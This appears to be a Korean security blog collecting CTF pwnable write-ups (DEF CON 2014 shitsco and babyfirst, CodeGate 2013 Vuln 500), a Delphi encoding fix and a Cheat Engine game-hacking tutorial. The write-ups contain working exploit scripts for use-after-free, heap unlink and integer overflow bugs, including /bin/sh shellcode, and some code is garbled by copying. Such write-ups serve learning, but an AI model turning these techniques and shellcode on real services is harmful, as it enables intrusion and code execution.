    b = ~b & 0xFF
    o += chr(b)
 
open('HelpMe.zip','wb').write(o)
cs


ShowMeTheMoney.idb


[Defcon 2014] shitsco - use-after-free or memory leak

Posted by push0ebp
2015. 5. 15. 03:03 Hacking/Pwnable

풀이 방법이 2가지가 존재한다. 하나는 릭을 이용한 방법, 다른 하나는 uaf를 이용한 방법이다.


1. leak을 이용한 방법
enable에서 입력받은 패스워드 버퍼가 초기화되지않아 이상한 값들이 보인다. 무언가 수상하다.
 
sub_8048C30(0, &s2, 0x20, 10);  //문자열 입력 함수
저 함수에서 문자열을 입력받고 나서 NULL을 넣어주지 않아 leak이 발생한다.

그런데 밑에 패스워드 체크 부분에서 수상한 점이있었다.
 v4 = strcmp(password, v1);
  if ( v4 )
if(strcmp(..))으로 해도 되는데 굳이 지역 변수에 담아 체크한다.

그런데 위에 보면
char s2; // [sp+18h] [bp-34h]@2
int v4; // [sp+38h] [bp-14h]@3
입력받은 문자열에 strcmp리턴값이 붙어있다. 크기도 0x20으로 딱 맞다.
이제 리턴 값을 이용하여 패스워드를 알아내면 끝.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python
from socket import *
import time
import struct
 
= lambda x: struct.pack("<L", x)
def up(x):
    return struct.unpack("<L", x+'\x00'*(4-len(x)))[0]
 
cnt = 0 
log = 0
 
def u(str): 
    global sk
    data = ''
    while str not in data:
        data += sk.recv(1)
    if log != 0:
        print data
    return data
 
def r():
    #time.sleep(0.1)
    global sk
    data = sk.recv(4096)
    if log != 0:
        print data
    return data
 
def pu(str):
    global cnt
    data = u(str)
    print data
    print 'cnt',cnt
    cnt += 1
    return data
 
def pr():
    global cnt
    s = r()
    print s
    print 'cnt',cnt
    cnt += 1
    return s
 
stream=''
def s(str): 
    #time.sleep(0.1)
    if str.find("\x00"!= -1:
        print "NULL"
    if log != 0:
        print str
    global stream
    stream += str
    global sk
    return sk.send(str)
 
IP = '1.1.1.5'
PORT = 1234
 
sk = socket(21)
sk.connect((IP, PORT))
 
def enable(pwd):
    s('enable\n')
    r()
    s(pwd+'\n')
    return r()
 
r()
password = '\xCC'*0x1f
for i in range(0x1f):
    for j in range(0x600x80):
        payload = password[:i]+chr(j)+password[i+1:]
        leak = enable(payload)
        ret = leak[leak.rfind('\xCC')+2:leak.rfind('\n')]
        ret = up(ret)
        if ret >> 8 == 0xffffff
            password = payload
            print password[:password.find('\xCC')]
            break
print password
 
 
cs



2. use-after-free


노드 흐름
*set 3 node
node    1    2    3
prev    0    1    2
next    1    3    0
0<1><2><3


*delete 1
node    1    2    3   
prev          0    2
next          3    0
0  <2><3

*delete 2
node    1    2    3   
prev                0
next                0
0     <3

*set 1
node    1    2    3   
prev    0    A...    0
next    0    B...    0


*uaf
일반적인 할당 흐름
free(i->value);
free(i->name);
free(i);

newvar = calloc(1u, 16u);
list.name = __strdup(name);
list_value = __strdup(value);

#할당 크기
alloc은 할당 크기에 따라 위치가 달라진다.
uaf시 같은 주소를 참조하기 위해서 할당 크기를 동일하게 해주어야한다.

calloc(1, 16) 노드 구조체 크기 16로 할당.
strdup은 문자열 클론을 만들어 주는함수인데 내부에서 malloc(문자열크기+1)을 호출한다.
16-1=15 크기로 할당하면 된다.

free(node[2]->value)
free(node[2]->name)
free(node[2])

//첫번째 노드는 calloc을 하지않음 -> free한 노드에 uaf 가능
node[1]->name = strdup('A'*16)
node[1]->value = strdup('B'*16)

*마지막으로 free한 곳이 2번째 노드이므로 strdup을 이용하여 2번째 노드 구조체에 원하는 값을 Write할수있다.
-> 노드의 next 주소를 password 주소로 조작해주면 show할때 password를 알아 낼수 있다.

SIGSEGV
EDI: 0x42424242 ('BBBB')
=> 0xf7e57fef <vfprintf+18767>:    repnz scas al,BYTE PTR es:[edi]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python
from socket import *
import struct
 
= lambda x: struct.pack("<L", x)
def up(x):
    return struct.unpack("<L", x+'\x00'*(4-len(x)))[0]
 
cnt = 0 
log = 0
 
def u(str): 
    global sk
    data = ''
    while str not in data:
        data += sk.recv(1)
    if log != 0:
        print data
    return data
 
def r():
    global sk
    data = sk.recv(4096)
    if log != 0:
        print data
    return data
 
def pu(str):
    global cnt
    data = u(str)
    print data
    print 'cnt',cnt
    cnt += 1
    return data
 
def pr():
    global cnt
    s = r()
    print s
    print 'cnt',cnt
    cnt += 1
    return s
 
stream=''
def s(str): 
    if str.find("\x00"!= -1:
        print "NULL"
    if log != 0:
        print str
    global stream
    stream += str
    global sk
    return sk.send(str)
 
IP = '1.1.1.5'
PORT = 1234
 
sk = socket(21)
sk.connect((IP, PORT))
 
r()
 
def set(name, value):
    s('set '+name+' '+value+'\n')
    r()
 
def delete(name):
    s('set '+name+'\n')
    r()
 
def show():
    s('show\n')
    return r()
 
set('A'*16,'A'*16)
set('B'*16,'B'*16)
set('C'*16,'C'*16)
delete('A'*16)
delete('B'*16)
 
password = p(0x804C3A0)
set(password*4,password*4)
print show()
 
= open('i','w')
f.write(stream[:-1])
f.close()
cs



shitsco_c8b1aa31679e945ee64bde1bdb19d035.idb


지적 부탁드립니다.

[Defcon 2014] babyfirst - double free bug

Posted by push0ebp
2015. 5. 12. 01:44 Hacking/Pwnable


Double Free Buf(DFB) 의 궁극적인 목적은 자신이 원하는 곳에 메모리를 라이팅 하는것(?) (처음 접해봤는데 매우 재미있는 기법이다ㅋ)

heap overflow 를 이용하여 이웃 chunk를 조작 (fake_chunk : PREV_INUSE, fd, bk)

-PREV_INUSE bit를 1로 만들어 기존 chunk 병합을 단절시키고 다음 free 시 fd bk 라이팅을 유도


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/python
from socket import *
import time
from struct import *
from hexdump import *
 
= lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)[0]
cnt = 0 
log = 0

def u(str): 
    global sk
    data = ''
    while str not in data:
        data += sk.recv(1)
    if log != 0:
        print data
    return data
 
def r():
    time.sleep(0.1)
    global sk
    data = sk.recv(4096)
    if log != 0:
        print data
    return data
 
def pu(str):
    global cnt
    data = u(str)
    print data
    print 'cnt',cnt
    cnt += 1
    return data
 
def pr():
    global cnt
    s = r()
    print s
    print 'cnt',cnt
    cnt += 1
    return s
 
stream=''
def s(str): 
    #time.sleep(0.1)
    if str.find("\x00"!= -1:
        print "NULL"
    if log != 0:
        print str
    global stream
    stream += str
    global sk
    return sk.send(str)
 
IP = '1.1.1.5'
PORT = 1234
 
sk = socket(21)
sk.connect((IP, PORT))
 
heap = u('Write to object [size=260]:\n')
heap = heap.split('loc=')[11]
heap = heap[:heap.find(']')]
heap = int(heap,16)
 
shellcode = "\xeb\x20"+"\x90"*100+"\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\x99\xB0\x0B\xCD\x80\xC2"
buf = 'A'*(260-len(shellcode))
exit_func = 0x804C8AC
 
 
payload = ''
payload += shellcode #data 260
payload += buf #data 260-shellcode len
payload += p(1)#chunk2 size
payload += p(exit_func-8#fd
payload += p(heap) #bk
s(payload+'\n')
r()
r()
while 1:
    s(raw_input('$')+'\n')
    pr()
cs


틀린부분 지적해주시면 감사하겠습니다.

[CodeGate 2013] Vuln 500 - integer overflow, heap realloc

Posted by push0ebp
2015. 5. 12. 01:41 Hacking/Pwnable

코게 공부하면서 포너블 시작했는데 너무 재밌다ㅋ 그래서인지 많이 미숙하다ㅜㅠ


integer overflow를 통하여 노래가 삭제한 후 포인터를 밀어 free한 포인터를 채워주는 루틴을 우회함.

-> 리스트에서 free된 노래 포인터가 삭제되지않음

modify를 통하여 다시 할당하여 라이팅

-> free된 곳에 재할당하여 임의로 메모리 라이팅 가능. (system_got)

0x0804b3f0 이 system 인자로 들어감

->심볼릭 링크를 이용하여 해결


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
import sys
import struct
from hexdump import *
 
= lambda x: struct.pack("<L", x)
up = lambda x: struct.unpack("<L", x)[0]
 
= ''
 
def delete_num(num):
    global s
    s += '4\n'
    s += '1\n'
    s += str(num)+'\n' 
 
def modify_num(num, url, title):
    global s
    s += '3\n'
    s += '1\n'
    s += str(num)+'\n'
    s += title+'\n'
    s += url+'\n'
 
system_got = 0x804B3F8  
delete_num(str(-1<<31))
modify_num(1, p(system_got-8),'')
modify_num(0,'','')
sys.stdout.write(s[:-1])
 
 
'''
0 song 
0x804c018
ln -sf /bin/sh `python -c 'print "\xf0\xb3\x04\x08"'`
export PATH="/home/a":$PATH
'''
cs



kpop_music.idb


'Hacking > Pwnable' 카테고리의 다른 글

[Defcon 2014] shitsco - use-after-free or memory leak  (0) 2015.05.15
[Defcon 2014] babyfirst - double free bug  (0) 2015.05.12

[CodeGate 2013] End Of World - The Final Bin 500 풀이

Posted by push0ebp
2015. 1. 27. 01:40 Hacking/CTF

풀다가 하도 막히길래 ezbeat님이 풀이 업로드해주신다는데 새 글이 안올라오네요 ㅠ 그래서 그냥 풀어서 풀이 올려봅니다.

독자분들 배려해서 문제, 힌트, 풀이, 키는 나누었으며 각각 섹션은 가렸습니다.

Prob

Hint

Solve

Key


[Delphi] WinHTTP.ResponseText 한글 깨질때

Posted by push0ebp
2014. 11. 1. 20:53 Coding/Delphi

예전에 한글 깨져서 코딩하다가만 프로젝트를 다시 살렸다. 그 땐 3일이나 삽질했었는데 후..

자꾸 깨지길래 치트엔진으로 메모리를 보니 EB 00 ?? 00 ?? EC 00 ?? 00 ?? 00 이렇게 WideString으로 되어있었다.

EB????EC????인데.. IdHttp를 써보고 UTF8Encode/Decode MultiByte<>WideChar 함수 여러개를 써봐도 안됐다 ㅠㅠ

우연히 네이버 검색 url에 %E?%??%??을 보고 URL 디코딩을 하니 출력이 잘됬다. 

너무 기쁜마음에 바로 함수를 짰다.


uses 에 IdURL 라이브러리를 추가하고 사용하자.


Function HttpEncode(ResponseText : String) : String;

var

  i,Len :integer;

  ps :PAnsiChar;

  s :String;

begin

  ps := PAnsiChar(ResponseText);

  Len := Length(ResponseText);


  for i := 0 to Len do begin

    s := s + '%';

    s := s + IntToHex(PWORD(@ps[i*2])^,2);

  end;


  Result := String(TIdURI.URLDecode(s));


end




var

  WinHttp :IWinHttpRequest;

begin

  WinHttp := coWinHttpRequest.Create;

  WinHttp.Open('GET','http://www.naver.com',False);

  WinHttp.Send('');

  WinHttp.WaitForResponse('');

  sRecv := HttpEncode(WinHttp.ResponseText);


잘 출력된다.




Cheat Engine Tutorial STEP 9 (Dissect data/structures)

Posted by push0ebp
2014. 9. 8. 22:06 카테고리 없음

중2때 쓴게 아직도..



이 튜토리얼의 문제는 우리팀을 제외한 상대팀을 말살하라 입니다.

Float 형으로 Dave의 체력을 구합시다

 


Find Out Access를 겁시다

Write가 아닌이유는

mov 는 정수를 접근할때 쓰는데 float는 FPU를 이용해 스택으로 접근해야 합니다.

그래서 fld로 로드하고 fsub fadd같은 연산을 써서 fstp로 라이팅하게됩니다.

 



 

나왔슴다 체력을 자꾸 감소시키니까 뺴는거죠? 뺴는거면 sub, fsub를 선택하고 코드을 봅시다

 



여기서 정말 유용하고 중요한 기능입니다. 

저기다 대고 Find Out instruction 을 클릭합시다.

이 기능은

Write/Access가 메모리 -> 코드(메모리에 접근하는 코드) 이라면

instruction 은 코드 -> 메모리(코드가 접근하는 메모리) 라고 보시면 되겠네요

저 코드가 접근하고 쓰는 어드레스를 다 보여줍니다.

자 저렇게 떴네요


 

fsub 에 대고 Dissect data/Strutures를 클릭합시다.

오늘 강좌에서 제일 하이라이트인 기능이지요




스샷에 잘 설명이 되어있네요 ㅎㅎ

extra address는 그룹어드레스에 대고 클릭하시면 그룹에 알아서 칸이 추가됩니다.



 

 

 

 



 

저걸 누릅시다

 

 

저기 나와있네요 이름까지 나와 있네요

이 기능은 저어드레스에 오프셋연산한 표로 비교해서 보여주는 기능입니다.

 

 




  

 

스크립트를 짜봅시다.

[ENABLE] //체크가 되었을때
alloc(MyTeam,1024) 
alloc(Die,1024) 
label(Routine

0042509D:
jmp Die // Die로 점프
nop
Routine: //nop밑 쪽을 Routne이라고 선언 합니다. 이쪽으로 점프 시킬거기 때문이지요

 

Die:
cmp [ebx+10],1//ebx+10 의 벨류와 1을 비교 왜 04 였는데 10 일까요? 답은 저 스트럭쳐 에서 +C가 나왔기 떄문이지요.

// 그래서 ebx+04+0C = ebx+10 이라고 되겠네요
je MyTeam // 같다면.우리팀이라면 MyTeam으로 점프
fsub dword ptr [ebx+04] //감소 
fstp dword ptr [ebp-30] 
jmp Routine //원래 어셈으로 이동

 

MyTeam:
fadd dword ptr [ebx+04] // 증가

fstp dword ptr [ebp-30] 
jmp Routine //원래 어셈으로 이동

 

[DISABLE] 

이걸 Tools - Auto Assemble 에 적고 Excute를 누릅시다